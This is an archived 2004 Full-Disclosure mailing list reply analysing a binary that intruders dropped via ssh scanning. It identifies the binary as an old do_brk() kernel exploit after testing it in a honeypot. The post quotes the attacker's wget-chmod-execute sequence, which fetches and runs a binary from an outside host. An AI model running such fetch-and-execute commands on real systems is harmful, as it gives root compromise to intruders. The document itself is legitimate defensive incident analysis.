full-disclosure - Betr.: RE: Automated ssh scanning

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

From: andfarm at teknovis.com (Andrew Farmer)
Subject: Betr.: RE: Automated ssh scanning

On 26 Aug 2004, at 14:12, Blue Boar wrote:
> Todd Towles wrote:
>> It could be, but he said it was patched. I didn't run the test of
>> course. I never said it was the kernel however, it could be a service 
>> running.
>> And unknown does not equal zero-day. But the tool got root and he
>> doesn't know how. That is the point. Kernel, old service, whatever. It
>> would be nice to find it.
>
> If you take a look at this bit:
>
> wget www.bo2k-rulez.net/a
> chmod +x a
> ./a
>
> The file "a" gives every superficial indication that it's a kernel 
> exploit, if you want to go by a 20-second Notepad analysis:

Whatever it is, it doesn't work under 2.6.7:

	peon % ./a
(long pause)
	[-] Unable to determine kernel address: Operation not supported
	zsh: segmentation fault  ./a
	peon %

It may, however, have corrupted some binaries, including /bin/rm and 
/bin/sync, causing
them to crash (SIGSEGV) on invocation. Fortunately, I was working in a 
(honeypot-mode)
UML, so my main system's fine :-)

Strings in the binary match 
http://www.k-otik.com/exploits/12.05.hatorihanzo.c.php ,
which is an oldish do_brk() exploit. For the curious, though, a trimmed 
dissasembly
is attached. (I removed portions of the binary which looked like they 
were from
libraries.) The symbol names all match up, so I'm pretty confident 
they're the same
code.

-------------- next part --------------
A non-text attachment was scrubbed...
Name: a.objdump.gz
Type: application/x-gzip
Size: 5754 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040827/cd8ce894/a.objdump.bin
-------------- next part --------------


Looks like that Debian honeypot wasn't as up-to-date as hoped.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 186 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040827/cd8ce894/PGP.bin